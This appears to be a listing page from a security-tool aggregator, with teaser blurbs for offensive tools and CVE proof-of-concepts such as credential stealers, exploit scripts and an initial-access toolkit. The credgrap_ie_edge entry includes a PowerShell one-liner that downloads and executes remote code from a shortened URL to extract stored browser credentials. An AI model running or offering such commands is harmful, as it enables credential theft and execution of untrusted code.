HTTPLoot

HTTPLoot An automated tool which can simultaneously crawl, fill forms, trigger error/debug pages and "loot" secrets out of the client-facing code of sites. Usage To use the tool, you can grab any one of the pre-built binaries from the Releases section of the repository. If you want to build the...

apache__jspwiki_CVE-2019-10078_2_11_0_M4_fixed

Apache JSPWiki 2.11 - Documentation root@kitploit: Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the...

CVE-2025-43919-POC

🚨 CVE-2025-43919: Directory Traversal in GNU Mailman 2.1.39 cPanel/WHM A new vulnerability has been discovered in GNU Mailman 2.1.39, bundled with cPanel/WHM, allowing unauthenticated remote attackers to read arbitrary files on the server via a directory traversal flaw. 📌 Vulnerability Summary:...

tivoli-poc

tivoli-poc CVE-2017-1635 PoC code CVEID: CVE-2017-1635 CVSS Base Score: 8 Affected Products and Versions: KDH component of IBM Tivoli Monitoring Basic Services KGL,KAX for Version 6.2.2.0 through 6.2.2.9 A vulnerability exists in the internal web server provided by IBM Tivoli Monitoring basic...

CVE-2024-28397-js2py-Sandbox-Escape

CVE-2024-28397-js2py-Sandbox-Escape js2py Vulnerability Analysis Introduction js2py is a popular python package that can evaluate javascript code inside the python interpreter. It is used by various web scrapers to parse javascript code on websites. There exists a vulnerability in the...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System Control Software settimezone RCE Vulnerability CVE-2023-28343 Chinese name: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） CVSS core:9.0 Description : Altenergy Power System Control Software is a microinverter control software fr...

KubeStalk

KubeStalk KubeStalk is a tool to discover Kubernetes and related infrastructure based attack surface from a black-box perspective. This tool is a community version of the tool used to probe for unsecured Kubernetes clusters around the internet during Project Resonance - Wave 9. Usage The GIF belo...

prismor

Prismor Runtime security for Claude Code, Codex, Langchain and other AI agents frameworks/harness. Prismor is highly customizable based on user's own policies. Observe or enforce mode to see agent activity in a local self-serve dashboard Website • Onboard with Skill !Kimi...

Incident-Response-Report-TeamCity-Compromise-CVE-2024-27198-

Incident Response Report: TeamCity Compromise CVE-2024-27198 Analyst: Belal Abdelsalam Date: July 2026 Lab/Environment: CyberDefenders JetBrains 📄 Executive Summary This report documents the forensic analysis of a compromised JetBrains TeamCity server version 2023.11.3. By analyzing the provided...

Forklift_LPE

Forklift 3.3.9 Local Privilege Escalation When installing the Forklift, a new helper called com.binarynights.ForkLiftHelper for Mac OS X is automatically installed to the /Library/PrivilegedHelperTools/ directory. Analyzing this helper, which handles XPC messages, resulted in different ways of...

root-my-webos-tv

Root my webOS TV A simple python script that starts a telnet server on vulnerable webOS devices as root. Verified TVs webOS 4.9.7 - 5.30.40 model LG43UM7000PLA webOS 5.5.0 - 04.50.51 model OLED55CXPUA webOS 6.3.3-442 kisscurl-kinglake - 03.36.50 model OLED48C1PUB webOS 7.3.1-43 mullet-mebin -...

Platypus

Platypus A host management hub for fleets of Linux machines. Install the Platypus agent on every host you own; the agent dials back to your Platypus server over TLS + protobuf; from the server you get an interactive shell, file management, and network tunnelling on every managed host — through on...

CVE-2020-25078

D-Link DCS Series Account Password Information Disclosure Vulnerability D-Link DCS Series account password information disclosure vulnerability, obtain account password via script to log in. Vulnerability ID CVE-2020-25078 Tool Usage python3 CVE-2020-25078.py -u http://127.0.0.1:1111 single URL...

opennhp

OpenNHP: Open Source Zero Trust Security Toolkit OpenNHP is a lightweight, cryptography-powered, open-source toolkit implementing Zero Trust security for infrastructure, applications, and data. It is the reference implementation of the Cloud Security Alliance CSA Network-infrastructure Hiding...

CVE-2019-9053-python3-remastered

CVE-2019-9053-python3-remastered The script has been remastered by Teymur Novruzov to ensure compatibility with Python 3. This tool is intended for educational purposes only. Unauthorized use of this tool on any system or network without permission is illegal. The author is not responsible for an...

ClickOnceBlobber

ClickOnce AppDomainManager Injection Toolkit Weaponize signed .NET ClickOnce applications for initial access by hijacking a dependency DLL via AppDomainManager injection and loading a C port of ProxyBlob Agent. Ships with a C port of ProxyBlob — a SOCKS5 proxy that tunnels all traffic through Azu...

CVE-2021-40438-POC

Note: Intended only for educational and controlled testing purposes. Only test on systems you have permission to assess. CVE-2021-40438 - SSRF Exploit root@kitploit: ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▀█░░░░░░█░█░▄▀▄░█░█░▀▀█░▄▀▄ ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░░█░░▄▄▄░░▀█░█/█░░▀█░░▀▄░▄▀▄...

credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

PwnXSS

A powerful XSS scanner made in python 3.7 Installing Requirements: BeautifulSoup4 root@kitploit: pip install bs4 requests root@kitploit: pip install requests python 3.7 Commands: root@kitploit: git clone https://github.com/pwn0sec/PwnXSS chmod 755 -R PwnXSS cd PwnXSS python3 pwnxss.py --help Usag...

TokenTacticsV2

root@kitploit: / / / / / / / / | \ / / / / /// / \ / / / / / / / / | | / / / / / / / // / , / / / / / / // // / // // / / | |/ / / / // //||// // /,////// |/ TokenTactics v2 This is an updated version of TokenTactics originally written by Stephan Borosh @rvrsh3ll & Bobby Cooke @0xBoku...